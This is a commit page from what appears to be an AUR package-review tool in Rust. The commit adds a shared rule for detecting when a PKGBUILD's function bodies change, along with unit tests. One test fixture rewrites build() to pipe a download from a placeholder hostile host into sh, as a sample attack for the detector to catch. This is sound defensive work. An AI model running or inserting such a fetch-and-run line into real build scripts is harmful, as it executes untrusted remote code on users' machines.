summaryrefslogtreecommitdiffstats
path: root/src/recipe.rs
diff options
context:
space:
mode:
authoraur-build <aur-build@localhost>2026-11-18 17:25:41 +0000
committeraur-build <aur-build@localhost>2026-11-18 17:25:41 +0000
commitf3e4c1496d2ddcdae535132427fdb499181f1695 (patch)
treeca1c9cb5e66caa7b9542aebb38811725b98c6f46 /src/recipe.rs
parent8bb76cb266a2fef5d5fe43c0f9643101f59112aa (diff)
downloadaur-build-f3e4c1496d2ddcdae535132427fdb499181f1695.tar.gz
aur-build-f3e4c1496d2ddcdae535132427fdb499181f1695.zip
review: one host rule, one body rule, one audit constructor
m-2. `hosts` existed twice, verbatim, in `review::diff` and `review::risk`. The duplication that matters is the other one: "did the executable part of the recipe change" also existed twice, with *different* semantics. The risk scorer compared everything from the first function definition onward; the diff panel compared only the lines that name a function, so a `build()` rewritten to `curl … | sh` under the same function names told the risk scorer "code changed, high" and told the reviewer nothing at all — the one reader who could have caught it. Both questions now have one answer: `urlutil::hosts` (which also strips the `git@` from ssh URLs, so a scheme change stops crying "new source host" wolf) and `recipe::bodies_changed`, in the module that owns the recipe. m-4. The three review decisions each hand-built an `AuditEntry` literal, and their `detail` shapes drifted: approve recorded the identity hash, reject recorded only the note, withdraw only the reason — so for two of the three the log cannot answer which candidate bytes the decision was about. `AuditEntry` is built by `::human` / `::system` now, and reject records the identity hash it rejected. m-3, the four-times-copied 21-column candidate `SELECT`, was already gone: the `CANDIDATE_COLS` constant came with moving the candidate SQL into `db/` in an earlier commit. Tests: the body rule is pinned at the unit level with the exact drift case (same function names, different body), `tests/production_surface.rs` fails if either module grows a private copy again or if an audit row is hand-built, and the reject test reads its own audit row back and requires the identity in it.
Diffstat (limited to 'src/recipe.rs')
-rw-r--r--src/recipe.rs59
1 files changed, 59 insertions, 0 deletions
diff --git a/src/recipe.rs b/src/recipe.rs
index 6c6666c..4ba6a6f 100644
--- a/src/recipe.rs
+++ b/src/recipe.rs
@@ -354,6 +354,42 @@ pub fn is_diffable(path: &str) -> bool {
)
}
+/// The executable part of a `PKGBUILD`: everything from the first function
+/// definition onward.
+///
+/// The variable assignments above the functions are metadata — a new version
+/// string, another dependency. The functions are code that runs on this machine
+/// and, through the package, on every machine that installs it. Reviewers and
+/// the risk scorer both need that line drawn in the same place, so it is drawn
+/// once here (§6 m-2): two copies had drifted, and the diff panel's version
+/// compared only the function *header* lines, so a rewritten `build()` body
+/// with the same function names showed the reviewer nothing.
+pub fn pkgbuild_bodies(text: &str) -> String {
+ let mut out = String::new();
+ let mut inside = false;
+ for line in text.lines() {
+ let t = line.trim_start();
+ if t.starts_with("build()")
+ || t.starts_with("package")
+ || t.starts_with("prepare()")
+ || t.starts_with("check()")
+ {
+ inside = true;
+ }
+ if inside {
+ out.push_str(t);
+ out.push('\n');
+ }
+ }
+ out
+}
+
+/// True when the diff touches a function body rather than only the assignments
+/// above them.
+pub fn bodies_changed(old_src: &str, new_src: &str) -> bool {
+ pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src)
+}
+
/// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3).
pub const SKIP: &str = "SKIP";
@@ -393,6 +429,29 @@ pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec<usize> {
#[cfg(test)]
mod tests {
+
+ #[test]
+ fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() {
+ // The drift this pins (§6 m-2): the diff panel used to compare only the
+ // function *header* lines, so a `build()` whose body was rewritten to
+ // `curl | sh` looked unchanged to the reviewer while the risk scorer,
+ // with its own copy of the rule, said otherwise.
+ let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n";
+ let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n";
+ assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing");
+ assert!(!bodies_changed(before, before));
+ // Metadata above the functions is not code.
+ let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n";
+ assert!(!bodies_changed(before, bumped), "a version bump is not a code change");
+ }
+
+ #[test]
+ fn bodies_start_at_the_first_function_and_run_to_the_end() {
+ let text = "pkgver=1.0\nsource=(x)\nbuild() {\n make\n}\n";
+ assert_eq!(pkgbuild_bodies(text), "build() {\nmake\n}\n", "each line is trimmed, the bodies are compared as text");
+ assert_eq!(pkgbuild_bodies("pkgver=1.0\n"), "");
+ }
+
use super::*;
#[test]